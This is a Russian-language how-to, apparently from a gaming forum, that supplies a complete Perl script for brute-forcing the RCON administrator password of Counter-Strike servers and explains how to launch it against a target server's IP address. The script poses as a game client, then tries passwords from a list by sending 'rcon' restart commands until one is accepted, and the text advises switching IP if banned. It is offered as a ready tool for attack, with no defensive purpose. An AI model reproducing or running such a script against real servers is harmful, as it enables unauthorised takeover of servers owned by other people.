Для начала тебе нужно немного подправить код csBrute-RconPassword.pl , открой csBrute-RconPassword.pl блокнотом NotePad далее замени код на вот этот:

use IO::Socket;

print "\n".
" CS <RCON password> bruter\n".
" eLwaux(c)2009\n\n\n";

if (!$ARGV[0]) {
print " use: csBrute.pl <host> <port> <server password > <name>\n".
" csBrute.pl 1.2.3.4 27015 abc usernamer\n";
exit(0);
}

$host = shift || '1.2.103.250';
$port = shift || '27015';
$serverpass = shift || 'n0th1ng';
$name = shift || 'pomKa';


$pasw = 'server is not protected by password!';
open (FILE, '<pass.txt') || die(" [-] pass.txt not found!\n");
my @p : shared = <FILE>;
print ' > Loaded '.scalar(@p)." password(s)\n";
chomp(@p);
close(FILE);


my $good = 0;

my $sock = new IO::Socket::INET(
PeerAddr=>$host,
PeerPort=>$port,
Proto=>'udp') || die " [-] server not found!";

$c = "\xFF\xFF\xFF\xFFgetchallenge valve\x0a";
syswrite $sock, $c;
sysread $sock,$a,65535;
# ****A00000000 99271855 2


if ($a =~ /\xFF\xFF\xFF\xFFA00000000\x20(\d+)/) {
$id = $1;
$c =
"\xFF\xFF\xFF\xFF".
"connect 47 ".$id." ".
'"\prot\2\raw\d984a05fa268b7cc6ac052a38960aeb'.ran d(9).'" '.#2
'"'.
'\_cl_autowepswitch\1'.
'\bottomcolor\6'.
'\cl_dlmax\80'.
'\cl_lc\1'.
'\cl_lw\1'.
'\cl_updaterate\20'.
'\model\gordon'.
'\name\\'.$name.
'\topcolor\30'.
'\_pw\cracker'.
'\lac_id\LACID_NOLAC'.rand(9).''.
'\_vgui_menus\1'.
'\_ah\0'.
'\lang\ru'.
'\dzuid\DZUID_0:0:7528570'.rand(9).''.#9
'\rate\25000'.
'\*fid\0'.
'\password\\'.$serverpass.
'"'."\x0a";
# print $c;
syswrite $sock, $c;
sysread $sock,$a,65535;

# full server: ****B 129 "1.2.3.4:25015" 0
# unk password: BADPASSWORD
# serv full : SERVERISFULL
if ($a =~ /SERVERISFULL/) {
print 'FULL SERVER. waiting few seconds..'."\n";
sleep(10);
}
elsif($a =~ /BADPASSWORD/) {
print " [-] Bad PlayerPassword!\n";
exit(0);
}
else { $good = 1; }
} else {
if ($a=~/banned/) {

print ' [!] you are banned!'."\n".
" change IP!\n";
exit(0);
} else {
print ' [-] some trouble with answer ('.$a.')!'."\n";
exit(0);
}
}

while(1) {
sleep(10);
# server is not full
# and we are connected
$c = "\xFF\xFF\xFF\xFF".
"rcon ".$id.' "'.$pasw.'" sv_restart 1'."\x00";
syswrite $sock, $c;
sysread $sock,$a,65535;
# print '---'.$a."\n\n\n\n";
if ($a =~ /Bad rcon_password/) {
#bad rcon_password
print ' - '.$pasw."\n";
} else {
print ' [+] '.$pasw."\n";
exit(0);
}

$pasw = shift @p;
if (!$pasw) {print ' [-] password not found!';exit(0);}
}
exit();

Далее заходишь в c:\WINDOWS\system32\ и находишь там файл cmd.exe , копируешь его в папку с брутом.
В папке с брутом запускаешь cmd.exe и в командной строке прописываешь следующие: csBrute-RconPassword.pl 78.84.231.21 27015

Вместо 78.84.231.21 ип адрес сервера который ты собрался брутить.

P.S
Теперь вопросов не должно быть (=